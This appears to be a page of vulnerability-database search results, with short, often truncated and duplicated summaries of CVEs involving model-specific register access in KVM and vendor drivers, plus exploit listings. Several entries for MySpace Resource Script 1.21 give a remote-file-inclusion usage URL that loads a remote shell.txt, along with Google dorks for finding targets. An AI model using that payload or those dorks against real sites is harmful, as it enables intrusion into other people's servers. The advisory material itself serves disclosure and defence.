CVE-2021-29657

CVE-2021-29657 affects the Linux kernel KVM SVM nested virtualization (AMD). A TOCTOU race in arch/x86/kvm/svm/nested.c/nested_svm_vmrun allows a guest to bypass interception checks and corrupt the saved L1 host context, potentially enabling a guest-to-host influence over host MSR state via neste...

UVI-2021-1000310 KVM: VMX: Disable preemption when probing user return MSRs

KVM: VMX: Disable preemption when probing user return MSRs This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.10.38 by commit...

GSD-2021-1000190 KVM: VMX: Disable preemption when probing user return MSRs

KVM: VMX: Disable preemption when probing user return MSRs This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.12.5 by commit...

UVI-2021-1000190 KVM: VMX: Disable preemption when probing user return MSRs

KVM: VMX: Disable preemption when probing user return MSRs This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.12.5 by commit...

GSD-2021-1000310 KVM: VMX: Disable preemption when probing user return MSRs

KVM: VMX: Disable preemption when probing user return MSRs This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.10.38 by commit...

CVE-2020-15480

CVE-2020-15480 affects PassMark BurnInTest (through 9.1), OSForensics (through 7.1), and PerformanceTest (through 10). The kernel driver exposes IOCTLs that allow low-privilege users to read and write arbitrary Model Specific Registers (MSRs), enabling arbitrary Ring-0 code execution and privileg...

CVE-2019-16098

The driver in Micro-Star MSI Afterburner 4.6.2.15658 aka RTCore64.sys and RTCore32.sys allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These...

CVE-2019-16098

The driver in Micro-Star MSI Afterburner 4.6.2.15658 aka RTCore64.sys and RTCore32.sys allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These...

CVE-2018-18535

The Asusgio low-level driver in ASUS Aura Sync v1.07.22 and earlier exposes functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-0 code...

Code injection

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

CVE-2018-10711

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

CVE-2018-10711

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

Google Android - Unprotected MSRs in EL1 RKP Privilege Escalation Exploit

Exploit for Android platform in category dos / poc Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=980 As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP Real-time Kernel Protection, running in EL2. This hypervisor is meant to ensure that the HLOS...

CVE-2007-5721

The CVE-2007-5721 entry affects MySpacePros MySpace Resource Script (MSRS) 1.21, where a flaw in _theme/breadcrumb.php allows PHP remote file inclusion via the rootBase parameter. The underlying issue enables arbitrary PHP code execution by an attacker-controlled URL, leading to partial confident...

CVE-2007-5721: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in theme/breadcrumb.php in MySpacePros MySpace Resource Script MSRS 1.21 allows remote attackers to execute arbitrary PHP code via a URL in the rootBase parameter...

msrs-rfi.txt

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator "!new Female Celebrities" inurl:/Generators/ScrollbarColo...

MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion

MySpace Resource Script MSRS 1.21 - Remote File Inclusion MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator...

MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator "!new Female Celebrities" inurl:/Generators/ScrollbarColo...

MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

Exploit for unknown platform in category web applications ===================================================== MySpace Resource Script MSRS 1.21 RFI Vulnerability ===================================================== MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC...

Code injection

Speedfan.sys in Alfredo Milani Comparetti SpeedFan 4.33, when used on Microsoft Windows Vista x64, allows local users to read or write arbitrary MSRs, and gain privileges and load unsigned drivers, via the 1 IOCTLRDMSR 0x9C402438 and 2 IOCTLWRMSR 0x9C40243C IOCTLs to \Device\speedfan, as...